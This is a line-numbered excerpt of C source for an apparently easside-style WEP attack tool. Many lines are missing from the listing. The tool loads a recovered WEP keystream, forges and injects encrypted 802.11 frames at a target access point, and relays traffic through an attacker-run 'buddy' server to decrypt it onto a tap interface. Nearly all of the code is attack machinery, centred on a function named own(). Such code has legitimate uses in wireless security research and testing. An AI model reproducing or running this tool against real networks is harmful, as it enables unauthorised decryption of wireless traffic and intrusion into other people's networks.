2 * Copyright (c) 2006, Andrea Bittau <a.bittau@cs.ucl.ac.uk>
5 * Redistribution and use in source and binary forms, with or without
6 * modification, are permitted provided that the following conditions
8 * 1. Redistributions of source code must retain the above copyright
9 * notice, this list of conditions and the following disclaimer.
10 * 2. Redistributions in binary form must reproduce the above copyright
11 * notice, this list of conditions and the following disclaimer in the
12 * documentation and/or other materials provided with the distribution.
14 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
15 * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
16 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
17 * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
18 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
19 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
20 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
21 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
22 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
23 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
29 #include <sys/types.h>
30 #include <sys/socket.h>
32 #include <netinet/in.h>
33 #include <arpa/inet.h>
34 #include <netinet/in_systm.h>
35 #include <netinet/ip.h>
53 struct ieee80211_frame *wh;
95 char buddy_data[2048];
99 void load_prga(struct params *p)
104 fd = open(p->fname, O_RDONLY);
110 rd = read(fd, p->iv, 3);
114 printf("Short read\n");
118 rd = read(fd, p->prga, sizeof(p->prga));
123 printf("Loaded %d PRGA from %s\n", p->prga_len, p->fname);
127 int wanted(struct params *p, struct ieee80211_frame *wh, int len)
131 if (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) {
140 if (memcmp(bssid, p->ap, 6) != 0)
143 if (!(wh->i_fc[1] & IEEE80211_FC1_WEP)) {
144 printf("Got non WEP packet...\n");
149 if (memcmp(p->mac, sa, 6) == 0)
155 void enque(struct params *p, char **buf, struct ieee80211_frame *wh, int len)
157 struct queue *q = p->q;
160 struct queue *last = NULL;
176 /* need to create slot */
178 q = (struct queue*) malloc(sizeof(*q));
181 memset(q, 0, sizeof(*q));
201 printf("Enque. Size: %d\n", qlen);
207 unsigned short in_cksum (unsigned short *ptr, int nbytes) {
210 register u_short answer;
222 *((u_char *) & oddbyte) = *(u_char *) ptr;
226 sum = (sum >> 16) + (sum & 0xffff);
234 void send_packet(struct params *p)
237 struct ieee80211_frame *wh;
239 rc = inject(p->tx, p->packet, p->packet_len);
242 if (rc != p->packet_len) {
243 printf("Wrote %d/%d\n", rc, p->packet_len);
248 wh = (struct ieee80211_frame*) p->packet;
249 wh->i_fc[1] |= IEEE80211_FC1_RETRY;
251 if (gettimeofday(&p->last, NULL) == -1)
252 err(1, "gettimeofday()");
255 void send_header(struct params *p, struct queue *q)
257 struct ieee80211_frame *wh;
262 uLong crc = crc32(0L, Z_NULL, 0);
266 memset(p->packet, 0, sizeof(p->packet));
267 wh = (struct ieee80211_frame *) p->packet;
268 wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
269 wh->i_fc[0] |= IEEE80211_FC0_SUBTYPE_DATA;
270 wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS;
271 wh->i_fc[1] |= IEEE80211_FC1_WEP;
272 wh->i_fc[1] |= IEEE80211_FC1_MORE_FRAG;
276 memcpy(wh->i_addr1, p->ap, 6);
277 memcpy(wh->i_addr2, p->mac, 6);
278 memcpy(wh->i_addr3, p->rtr, 6);
280 pseq = (short*) wh->i_seq;
283 *pseq = seqfn(p->seq, p->frag++);
286 ptr = (char*) (wh+1);
287 memcpy(ptr, p->iv, 3);
291 memcpy(ptr, "\xAA\xAA\x03\x00\x00\x00\x08\x00", 8);
294 ih = (struct ip*) (ptr+8);
297 len = q->len - sizeof(*wh) - 4 - 4 + 20;
298 ih->ip_len = htons(len);
299 ih->ip_id = htons(q->id);
302 ih->ip_src.s_addr = p->src.s_addr;
303 ih->ip_dst.s_addr = p->dst.s_addr;
304 ih->ip_sum = in_cksum((unsigned short*)ih, 20);
308 crc = crc32(crc, ptr, len);
309 pcrc = (uLong*) (ptr+len);
313 for (i = 0; i < len + 4; i++)
314 ptr[i] ^= p->prga[i];
316 p->packet_len = sizeof(*wh) + 4 + len + 4;
321 void send_queue(struct params *p)
323 struct queue *q = p->q;
329 p->state = S_WAIT_ACK;
332 void send_data(struct params *p)
334 struct ieee80211_frame *wh;
336 struct queue *q = p->q;
343 memset(p->packet, 0, sizeof(p->packet));
344 wh = (struct ieee80211_frame*) p->packet;
345 wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
346 wh->i_fc[0] |= IEEE80211_FC0_SUBTYPE_DATA;
347 wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS;
348 wh->i_fc[1] |= IEEE80211_FC1_WEP;
352 memcpy(wh->i_addr1, p->ap, 6);
353 memcpy(wh->i_addr2, p->mac, 6);
354 memcpy(wh->i_addr3, p->rtr, 6);
356 seq = (short*) wh->i_seq;
357 *seq = seqfn(p->seq, p->frag++);
360 dst = (char*) (wh+1);
361 src = (char*) (q->wh+1);
362 len = q->len - sizeof(*wh);
363 memcpy(dst, src, len);
365 p->packet_len = sizeof(*wh) + len;
370 void got_ack(struct params *p)
378 p->state = S_WAIT_BUDDY;
384 void read_wifi(struct params *p)
386 static char *buf = 0;
387 static int buflen = 4096;
388 struct ieee80211_frame *wh;
392 buf = (char*) malloc(buflen);
397 rc = sniff(p->rx, buf, buflen);
401 wh = get_wifi(buf, &rc);
406 if (frame_type(wh, IEEE80211_FC0_TYPE_CTL, IEEE80211_FC0_SUBTYPE_ACK) &&
407 (memcmp(p->mac, wh->i_addr1, 6) == 0)) {
413 if (frame_type(wh, IEEE80211_FC0_TYPE_DATA,
414 IEEE80211_FC0_SUBTYPE_DATA)) {
415 if (!wanted(p, wh, rc))
418 enque(p, &buf, wh, rc);
419 if (p->state == S_START)
425 int connect_buddy(struct params *p)
427 struct sockaddr_in s_in;
429 memset(&s_in, 0, sizeof(s_in));
430 s_in.sin_family = PF_INET;
431 s_in.sin_port = htons(p->port);
432 s_in.sin_addr.s_addr = p->dst.s_addr;
434 if ((p->s = socket(s_in.sin_family, SOCK_STREAM, IPPROTO_TCP)) == -1)
437 if (connect(p->s, (struct sockaddr*) &s_in, sizeof(s_in)) == -1)
443 void buddy_reset(struct params *p)
447 if (connect_buddy(p) == -1)
448 err(1, "connect_buddy()");
451 int buddy_get(struct params *p, int len)
455 rd = recv(p->s, &p->buddy_data[p->buddy_got], len, 0);
465 void read_buddy_head(struct params *p)
469 rem = 4 - p->buddy_got;
471 if (!buddy_get(p, rem))
475 void read_buddy_data(struct params *p)
477 unsigned short *ptr = (unsigned short*) p->buddy_data;
479 struct queue *q = p->q;
480 struct queue *last = p->q;
487 rem = len + 4 - p->buddy_got;
490 if (!buddy_get(p, rem))
495 printf("id=%d len=%d\n", id, len);
499 /* feedback loop bullshit */
511 rem = q->len - sizeof(*q->wh) - 4 - 4;
513 printf("Diff len\n");
518 if (q->wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) {
519 memcpy(mac, q->wh->i_addr3, 6);
520 memcpy(&mac[6], q->wh->i_addr2, 6);
522 memcpy(mac, q->wh->i_addr1, 6);
523 memcpy(&mac[6], q->wh->i_addr3, 6);
525 iov[0].iov_base = mac;
526 iov[0].iov_len = sizeof(mac);
527 iov[1].iov_base = (char*)ptr + 8 - 2;
528 iov[1].iov_len = len - 8 + 2;
530 rem = writev(p->tap, iov, sizeof(iov)/sizeof(struct iovec));
533 if (rem != (14+(len-8))) {
534 printf("Short write %d\n", rem);
560 void read_buddy(struct params *p)
562 if (p->buddy_got < 4)
568 void own(struct params *p)
571 struct timeval *to = NULL;
574 int tout_ack = 10*1000;
575 int tout_buddy = 2*1000*1000;
576 int tout = (p->state == S_WAIT_BUDDY) ? tout_buddy : tout_ack;
578 if (p->state == S_WAIT_ACK || p->state == S_WAIT_BUDDY) {
582 if (gettimeofday(&tv, NULL) == -1)
583 err(1, "gettimeofday()");
585 el = elapsed(&p->last, &tv);
589 if (p->data_try > 3) {
598 tv.tv_sec = el/1000/1000;
599 tv.tv_usec = el - tv.tv_sec*1000*1000;
606 max = (p->rx > p->s) ? p->rx : p->s;
608 if (select(max+1, &fds, NULL, NULL, to) == -1)
611 if (FD_ISSET(p->rx, &fds))
613 if (FD_ISSET(p->s, &fds))
617 void usage(char *name)
619 printf("Usage %s <opts>\n"
631 int main(int argc, char *argv[])
634 char *iface = "wlan0";
638 memset(&p, 0, sizeof(p));
639 memcpy(p.mac, "\x00\x00\xde\xfa\xce\xd", 6);
640 p.fname = "prga.log";
643 while ((ch = getopt(argc, argv, "hd:p:b:t:r:s:")) != -1) {
646 if (!inet_aton(optarg, &p.src)) {
647 printf("Can't parse src IP\n");
653 if (str2mac(p.rtr, optarg) == -1) {
654 printf("Can't parse rtr MAC\n");
664 if (str2mac(p.ap, optarg) == -1) {
665 printf("Can't parse BSSID\n");
671 if (!inet_aton(optarg, &p.dst)) {
672 printf("Can't parse IP\n");
678 p.port = atoi(optarg);
689 assert(p.prga_len > 60);
691 if ((p.rx = open_rx(iface)) == -1)
693 if ((p.tx = open_tx(iface)) == -1)
696 if ((p.tap = open_tap(tap)) == -1)
697 err(1, "open_tap()");
698 if (set_iface_mac(tap, p.mac) == -1)
699 err(1, "set_iface_mac()");
701 if (connect_buddy(&p) == -1)
702 err(1, "connect_buddy()");